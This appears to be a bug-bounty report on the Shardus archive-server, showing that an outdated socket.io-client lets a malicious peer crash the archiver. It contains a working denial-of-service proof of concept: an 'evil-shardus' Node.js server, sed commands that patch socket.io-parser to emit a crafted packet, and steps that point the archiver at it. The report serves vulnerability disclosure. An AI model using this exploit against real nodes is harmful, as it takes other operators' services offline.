On boot the archive-server connects to a randomized shardus-instance. This instance has the power to kill the process that runs the archive server.
Vulnerability Details
Archive-server is using an outdated socket.io-client. The old implementation has issues with specially crafted packets.
Since Archive-server does not do any special error handling the error in the socket.io-client can bubble up "uncatched" and kill the process.
Since the archive-server tries to randomly connect to a shardus-instance, it might not be a terrifying issue. Otoh I saw references in the documentation that archive servers should be rewarded for their service in the future, so there would be incentive to try to kill archive servers that you don't run ...
const PORT = 3030;
const app = require('express')();
const http = require('http').createServer(app);
const io = require('socket.io')(http, {cors: {origin: "*",methods: ["GET", "POST"]}});
io.on('connection', (socket) => {
console.log('A user connected', new Date());
socket.on('ARCHIVER_PUBLIC_KEY', (key) => {
console.log('ARCHIVER WITH KEY CONNECTED', key);
});
setTimeout(() => {
console.log('killing archiver', new Date());
socket.emit('doesnt', 'matter'); // this will be overriden by our encoder implementation
}, 60_000);
});
http.listen(PORT, () => {
console.log(`Server running on port ${PORT}`);
});
install packages and replace encoder with evil encoder
npm install
sed -i 's/var encoding = encodeAsString(obj);/var encoding = encodeAsString(obj); if (obj.type == 2) encoding = '"'"'2[{"toString":"rip"}]'"'"';/' ./node_modules/socket.io-client/node_modules/socket.io-parser/index.js
sed -i 's/var encoding = encodeAsString(obj);/var encoding = encodeAsString(obj); if (obj.type == 2) encoding = '"'"'2[{"toString":"rip"}]'"'"';/' ./node_modules/socket.io-parser/index.js
run evil shardus instance
node evil-shardus.js
run archiver
I could not find another script that made this easy. So just reusing the stuff I had for the other bugs ...
We will reuse the shardeum repo and the shardus start 10 to run an archiver. But before we run the archiver, we make sure it connects to the evil -shardus.js.
In another terminal
general setup
cd tmp
git clone https://github.com/shardeum/shardeum.git; cd shardeum; git switch dev
npm ci
npm install -g shardus
npm update @shardus/archiver
git apply debug-10-nodes.patch
npm run prepare
make sure that archiver connects to our evil implementation of a shardus-instance
sed -i 's/const socketClient = ioclient.connect(`http:\/\/${node\.ip}:${node\.port}`);/const socketClient = ioclient.connect(`http:\/\/${node\.ip}:3030`);/' ./node_modules/@shardus/archiver/build/Data/Data.js
run shardus
We run shardus, and observe our archive server disappear when the evil-shardus terminal prints "killing archiver". (60 second wait in current evil-shardus.js)